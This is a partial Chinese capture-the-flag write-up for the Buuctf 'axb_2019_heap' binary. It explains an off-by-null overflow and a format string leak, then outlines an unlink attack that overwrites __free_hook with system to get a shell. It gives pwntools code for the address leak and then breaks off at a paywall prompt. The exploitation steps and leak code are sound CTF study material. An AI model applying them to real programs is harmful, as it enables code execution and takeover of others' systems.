Buuctf:【axb_2019_heap】(格式化字符串,of by null,unlink)
例行检查
64位,保护机制全开,IDA中分析
漏洞分析

此处edit()函数中会多写入\x00字节,导致溢出一个\x00字节,存在of by null 漏洞,add()中限制了我们申请堆块的大小,只能申请大于0x80的堆块
利用思路
1.利用格式化字符串漏洞泄露出程序基地址和libc基地址
2.利用unlink,通过unlink修改chunk0的内存地址为free_hook地址,再次edit0号堆块,覆写为system地址
3.free掉chunk中为’/bin/sh’的堆块,get shell.
分析
1.经过调试可以看到%14$p%$15p的位置上分别是程序地址和libc中的地址,通过格式化字符串漏洞泄露出来

算出free_hook地址和system地址
io.recvuntil(':')
io.sendline('%14$p%15$p')
io.recvuntil('Hello, 0x')
elf = int(io.recv(12),16)
elf_base = elf - 0x1200
io.recvuntil('0x')
leak = int(io.recv(12),16)
libc_base = leak - 0x20840
success(hex(elf_base))
success(hex(libc_base))
note = elf_base + 0x202060
success(hex(note))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
success(hex(free_hook)

本文介绍Buuctf中axb_2019_heap挑战的解决方法,通过格式化字符串漏洞获取基地址,利用unlink技巧修改heap chunk,最终实现getshell。详细步骤包括:1. 利用格式化字符串漏洞泄露地址;2. 通过unlink技巧修改free_hook为system函数地址。
最低0.47元/天 解锁文章
1732

被折叠的 条评论
为什么被折叠?



